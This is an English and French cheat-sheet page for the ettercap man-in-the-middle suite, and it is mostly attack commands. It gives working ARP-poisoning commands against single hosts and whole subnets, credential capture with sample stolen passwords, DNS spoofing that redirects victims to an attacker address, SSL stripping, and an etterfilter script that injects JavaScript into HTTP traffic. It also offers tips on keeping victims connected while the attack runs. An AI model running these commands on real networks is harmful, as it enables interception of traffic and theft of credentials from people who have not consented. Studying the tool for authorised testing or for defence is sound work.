← retour aux outils back to tools

# ettercap

Suite complète pour les attaques man-in-the-middle sur les réseaux locaux. Effectue de l'ARP poisoning, du sniffing de trafic, du détournement de session, de la capture de mots de passe, et de l'injection de contenu. Comprehensive suite for man-in-the-middle attacks on LANs. Performs ARP poisoning, traffic sniffing, session hijacking, password capturing, and content injection.

↗ https://www.ettercap-project.org/

## Overview

ettercap is a full-featured MITM attack suite for LAN environments. It performs ARP cache poisoning to intercept traffic between targets, captures cleartext credentials, injects content into HTTP sessions, strips SSL, and supports plugins for custom attacks. Available in text, curses, and GTK GUI modes.

## Basic Usage

GUI mode

    sudo ettercap -G

Text mode (TUI)

    sudo ettercap -T

Silent sniffing mode

    sudo ettercap -T -q -i eth0

ARP poisoning between host and gateway

    sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//

## ARP Poisoning (MITM)

    # Poison traffic between specific target and gateway
    sudo ettercap -T -q -i eth0 \
      -M arp:remote \
      /192.168.1.50// \  # target
      /192.168.1.1//     # gateway

MITM all hosts on subnet

    sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.0/24// /192.168.1.1//

Two-way MITM (intercept in both directions)

    sudo ettercap -T -q -i eth0 -M arp /192.168.1.0/24//

Enable IP forwarding (required!)

    echo 1 > /proc/sys/net/ipv4/ip_forward

## Credential Capture

    # ettercap automatically captures credentials from:
    # - FTP, Telnet, SSH1
    # - HTTP Basic Auth
    # - SMTP, POP3, IMAP (unencrypted)
    # - SMB (hash capture)
    # - MySQL, Oracle

    # View captured credentials in real-time
    # They appear in terminal output automatically

    # Example output:
    # FTP  : 192.168.1.50:21 -> USER: admin  PASS: password123
    # HTTP : 192.168.1.50:80 -> USER: admin  PASS: secretpass

## Plugins

List available plugins

    sudo ettercap --list-plugins

Use specific plugin

    sudo ettercap -T -q -i eth0 -M arp:remote /target// /gateway// -P plugin_name

    # Common plugins:
    # dns_spoof    — DNS spoofing (redirects domain to your IP)
    # arp_cop      — detect ARP poisoning attacks
    # autoadd      — auto-add new hosts to MITM
    # chk_poison   — check if ARP poisoning worked
    # remote_browser  — capture URLs browsed by targets
    # sslstrip     — strip HTTPS to HTTP

## DNS Spoofing

Edit DNS spoof config

    sudo nano /etc/ettercap/etter.dns

    # Add entry:
    # example.com   A   10.10.10.50    # redirect to attacker

Run with dns_spoof plugin

    sudo ettercap -T -q -i eth0 \
      -M arp:remote /192.168.1.0/24// /192.168.1.1// \
      -P dns_spoof

## Content Injection

Inject HTML into HTTP responses using filters Create filter script: inject.ef Content filtering requires filter compilation:

    etterfilter inject.ef -o inject.ef.compiled

Run with filter

    sudo ettercap -T -q -i eth0 -M arp:remote /target// /gateway// -F inject.ef.compiled

## Filter Example

    # inject.ef — inject JavaScript into HTTP responses
    if (ip.proto == TCP && tcp.dst == 80) {
        if (search(DATA.data, "</body>")) {
            replace("</body>", "<script>alert('MITM')</script></body>");
            msg("Injected!\n");
        }
    }

## Tips

- Always enable IP forwarding or victims will lose internet during attack
- SSLstrip plugin downgrades HTTPS — but HSTS prevents this on modern browsers
- ettercap can be detected by IDS systems looking for ARP anomalies
- For more advanced MITM, consider bettercap (more actively maintained)

Help / Man page

    ettercap [options] [target1] [target2]

    -T              Text (TUI) mode
    -G              GTK GUI mode
    -C              Curses UI
    -q              Quiet mode
    -i IFACE        Interface
    -M METHOD       MITM method (arp, icmp, port, dhcp)
    -P PLUGIN       Use plugin
    -F FILTER       Use compiled filter
    -L FILE         Logfile for all traffic
    --list-plugins  Show available plugins
    -w FILE         Write packets to pcap file

    Target format: /IP1,IP2.../Port1,Port2.../
      Example: /192.168.1.50//   (any port on 192.168.1.50)

## Vue d’ensemble

ettercap est une suite d’attaque MITM complète pour les environnements LAN. Elle effectue de l’empoisonnement du cache ARP pour intercepter le trafic entre les cibles, capture les identifiants en clair, injecte du contenu dans les sessions HTTP, retire le SSL, et prend en charge des plugins pour des attaques personnalisées. Disponible en modes texte, curses, et GUI GTK.

## Utilisation de base

    # Mode GUI
    sudo ettercap -G

    # Mode texte (TUI)
    sudo ettercap -T

    # Mode sniffing silencieux
    sudo ettercap -T -q -i eth0

    # ARP poisoning entre un hôte et la passerelle
    sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//

## ARP poisoning (MITM)

    # Empoisonner le trafic entre une cible spécifique et la passerelle
    sudo ettercap -T -q -i eth0 \
      -M arp:remote \
      /192.168.1.50// \  # cible
      /192.168.1.1//     # passerelle

MITM sur tous les hôtes du sous-réseau

    sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.0/24// /192.168.1.1//

MITM bidirectionnel (intercepter dans les deux sens)

    sudo ettercap -T -q -i eth0 -M arp /192.168.1.0/24//

Activer le forwarding IP (requis !)

    echo 1 > /proc/sys/net/ipv4/ip_forward

## Capture d’identifiants

    # ettercap capture automatiquement les identifiants depuis :
    # - FTP, Telnet, SSH1
    # - Authentification HTTP Basic
    # - SMTP, POP3, IMAP (non chiffrés)
    # - SMB (capture de hash)
    # - MySQL, Oracle

    # Voir les identifiants capturés en temps réel
    # Ils apparaissent automatiquement dans la sortie du terminal

    # Exemple de sortie :
    # FTP  : 192.168.1.50:21 -> USER: admin  PASS: password123
    # HTTP : 192.168.1.50:80 -> USER: admin  PASS: secretpass

## Plugins

    # Lister les plugins disponibles
    sudo ettercap --list-plugins

    # Utiliser un plugin spécifique
    sudo ettercap -T -q -i eth0 -M arp:remote /target// /gateway// -P plugin_name

    # Plugins courants :
    # dns_spoof    : spoofing DNS (redirige un domaine vers votre IP)
    # arp_cop      : détecte les attaques d'ARP poisoning
    # autoadd      : ajoute automatiquement les nouveaux hôtes au MITM
    # chk_poison   : vérifie si l'ARP poisoning a fonctionné
    # remote_browser  : capture les URL consultées par les cibles
    # sslstrip     : retire le HTTPS pour le ramener en HTTP

## Spoofing DNS

Éditer la configuration du DNS spoof

    sudo nano /etc/ettercap/etter.dns

    # Ajouter une entrée :
    # example.com   A   10.10.10.50    # redirection vers l'attaquant

Lancer avec le plugin dns_spoof

    sudo ettercap -T -q -i eth0 \
      -M arp:remote /192.168.1.0/24// /192.168.1.1// \
      -P dns_spoof

## Injection de contenu

Injecter du HTML dans les réponses HTTP en utilisant des filtres. Créer un script de filtre : inject.ef. Le filtrage de contenu nécessite la compilation du filtre :

    etterfilter inject.ef -o inject.ef.compiled

Lancer avec le filtre

    sudo ettercap -T -q -i eth0 -M arp:remote /target// /gateway// -F inject.ef.compiled

## Exemple de filtre

    # inject.ef : injecte du JavaScript dans les réponses HTTP
    if (ip.proto == TCP && tcp.dst == 80) {
        if (search(DATA.data, "</body>")) {
            replace("</body>", "<script>alert('MITM')</script></body>");
            msg("Injected!\n");
        }
    }

## Conseils

- Activez toujours le forwarding IP, sinon les victimes perdront leur accès internet pendant l’attaque
- Le plugin SSLstrip rétrograde le HTTPS, mais le HSTS empêche cela sur les navigateurs modernes
- ettercap peut être détecté par des systèmes IDS surveillant les anomalies ARP
- Pour un MITM plus avancé, envisagez bettercap (maintenu plus activement)

Aide / Page de manuel

    ettercap [options] [target1] [target2]

    -T              Text (TUI) mode
    -G              GTK GUI mode
    -C              Curses UI
    -q              Quiet mode
    -i IFACE        Interface
    -M METHOD       MITM method (arp, icmp, port, dhcp)
    -P PLUGIN       Use plugin
    -F FILTER       Use compiled filter
    -L FILE         Logfile for all traffic
    --list-plugins  Show available plugins
    -w FILE         Write packets to pcap file

    Target format: /IP1,IP2.../Port1,Port2.../
      Example: /192.168.1.50//   (any port on 192.168.1.50)